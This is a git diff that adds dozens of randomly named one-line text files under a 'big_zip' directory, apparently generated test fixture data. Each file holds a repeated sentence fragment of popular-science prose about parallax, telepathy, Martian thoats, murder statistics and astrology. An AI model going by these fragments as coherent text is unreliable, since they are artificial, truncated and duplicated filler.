diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/ygsxfvedd.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/ygsxfvedd.txt
new file mode 100644
index 0000000..fb84b50
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/ygsxfvedd.txt
@@ -0,0 +1 @@
+was the parallax of a star first measured. It then became clear, from straightforward Greek
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/yvhdekwlmoi.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/yvhdekwlmoi.txt
new file mode 100644
index 0000000..fbe5338
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/yvhdekwlmoi.txt
@@ -0,0 +1 @@
+as telepathy existed, one of its glories would be the opportunity for each of us to read the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_dfvcwdlqt.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_dfvcwdlqt.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_dfvcwdlqt.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_dqgqtedltuamlqhhkwh.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_dqgqtedltuamlqhhkwh.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_dqgqtedltuamlqhhkwh.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_eaookfwssennsdxjdzej.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_eaookfwssennsdxjdzej.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_eaookfwssennsdxjdzej.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_fxrfzmnkwevbex.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_fxrfzmnkwevbex.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_fxrfzmnkwevbex.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_gsywiwcwnzwymywkpjn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_gsywiwcwnzwymywkpjn.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_gsywiwcwnzwymywkpjn.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_hixpuulynlrtkruitcapn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_hixpuulynlrtkruitcapn.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_hixpuulynlrtkruitcapn.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_kmwmjotqtdqukk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_kmwmjotqtdqukk.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_kmwmjotqtdqukk.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_lkriaxhblkzvzoktmnixkm.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_lkriaxhblkzvzoktmnixkm.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_lkriaxhblkzvzoktmnixkm.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_lskuxseefpvtyhm.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_lskuxseefpvtyhm.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_lskuxseefpvtyhm.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_mqrpbvmdbuaunzu.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_mqrpbvmdbuaunzu.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_mqrpbvmdbuaunzu.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_nwgwnkcewq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_nwgwnkcewq.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_nwgwnkcewq.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_oybjgtweyukdtnvyfdl.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_oybjgtweyukdtnvyfdl.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_oybjgtweyukdtnvyfdl.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_paxvqgizr.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_paxvqgizr.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_paxvqgizr.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_ptpwstapzbbzxjpsn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_ptpwstapzbbzxjpsn.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_ptpwstapzbbzxjpsn.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_pwplgbsoygzphyq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_pwplgbsoygzphyq.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_pwplgbsoygzphyq.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_qluqqxorhhupxvczvk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_qluqqxorhhupxvczvk.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_qluqqxorhhupxvczvk.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_qrctnghqsqjajwoaha.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_qrctnghqsqjajwoaha.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_qrctnghqsqjajwoaha.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_tamibpjevlwwy.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_tamibpjevlwwy.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_tamibpjevlwwy.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_uifodffmr.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_uifodffmr.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_uifodffmr.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_uwfduigo.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_uwfduigo.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_uwfduigo.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_xwjhcvvbz.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_xwjhcvvbz.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_xwjhcvvbz.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_yhkqzwuoqbdhsvxvosrqz.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_yhkqzwuoqbdhsvxvosrqz.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_yhkqzwuoqbdhsvxvosrqz.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/file_zffmqccgshpwhn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/file_zffmqccgshpwhn.txt
new file mode 100644
index 0000000..835876a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/file_zffmqccgshpwhn.txt
@@ -0,0 +1 @@
+fighting men, no thoats, no footprints, not even a cactus or a kangaroo rat. For as far as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_ahdhoexrcxhvnwhbzvo.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_ahdhoexrcxhvnwhbzvo.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_ahdhoexrcxhvnwhbzvo.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_bojmlprkveayypruyhk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_bojmlprkveayypruyhk.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_bojmlprkveayypruyhk.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_byhakvpctwzqxxsttwnaga.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_byhakvpctwzqxxsttwnaga.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_byhakvpctwzqxxsttwnaga.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dvggbbsjflbnaezkwgxdbqck.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dvggbbsjflbnaezkwgxdbqck.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dvggbbsjflbnaezkwgxdbqck.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dwancfgczyjv.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dwancfgczyjv.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dwancfgczyjv.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dzwfdxyzlmspum.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dzwfdxyzlmspum.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_dzwfdxyzlmspum.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_evnycagwb.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_evnycagwb.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_evnycagwb.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gahoiybeqfgqcyurkqluf.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gahoiybeqfgqcyurkqluf.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gahoiybeqfgqcyurkqluf.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gqsnvgnmthxiopwkys.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gqsnvgnmthxiopwkys.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_gqsnvgnmthxiopwkys.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_jqbhxqsmfxdlrcweozecnht.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_jqbhxqsmfxdlrcweozecnht.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_jqbhxqsmfxdlrcweozecnht.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_kxwexzjpjwfdoiwupfecf.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_kxwexzjpjwfdoiwupfecf.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_kxwexzjpjwfdoiwupfecf.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_lkiyirlralapdfg.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_lkiyirlralapdfg.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_lkiyirlralapdfg.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_mnfeznjczqmenoyzycvx.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_mnfeznjczqmenoyzycvx.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_mnfeznjczqmenoyzycvx.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_njaktjzxn.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_njaktjzxn.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_njaktjzxn.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_peqmwhwv.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_peqmwhwv.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_peqmwhwv.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_rfjxgsienhjwwguaknphcc.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_rfjxgsienhjwwguaknphcc.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_rfjxgsienhjwwguaknphcc.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_tsdnratgla.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_tsdnratgla.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_tsdnratgla.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vigzvvkbm.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vigzvvkbm.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vigzvvkbm.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_viywuwfxomhepd.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_viywuwfxomhepd.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_viywuwfxomhepd.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vjgaqqvdyxtk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vjgaqqvdyxtk.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_vjgaqqvdyxtk.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xhbpxlicbvykwbhil.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xhbpxlicbvykwbhil.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xhbpxlicbvykwbhil.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xvyxreeg.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xvyxreeg.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_xvyxreeg.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_yejcplwkmhemhutoil.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_yejcplwkmhemhutoil.txt
new file mode 100644
index 0000000..84fef98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/file_yejcplwkmhemhutoil.txt
@@ -0,0 +1 @@
+the way to M = 0, it roughly predicts the worldwide incidence of murder; somewhere in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ajabkvhbocdafe.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ajabkvhbocdafe.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ajabkvhbocdafe.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_btlsrdtihoightknsm.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_btlsrdtihoightknsm.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_btlsrdtihoightknsm.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fvxndsddkovxudqdhdktx.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fvxndsddkovxudqdhdktx.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fvxndsddkovxudqdhdktx.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fybazupwgmaayy.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fybazupwgmaayy.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_fybazupwgmaayy.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gojkjofrsyiezq.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gojkjofrsyiezq.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gojkjofrsyiezq.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gxmlrhbuzakxublk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gxmlrhbuzakxublk.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_gxmlrhbuzakxublk.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ldqktcxjzodzemyttbxztjs.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ldqktcxjzodzemyttbxztjs.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ldqktcxjzodzemyttbxztjs.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_rxbhjtbxqcftzrh.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_rxbhjtbxqcftzrh.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_rxbhjtbxqcftzrh.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ttmkvttxlk.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ttmkvttxlk.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_ttmkvttxlk.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_uggoiphi.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_uggoiphi.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_uggoiphi.txt
@@ -0,0 +1 @@
+Astrology can be tested by the lives of twins. There are many cases in which one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vqlvfcplw.txt b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vqlvfcplw.txt
new file mode 100644
index 0000000..6ea06eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_psxdzgflqc/folder_swfvjtdfra/folder_xlplcscrke/file_vqlvfcplw.txt
@@ -0,0 +1 @@
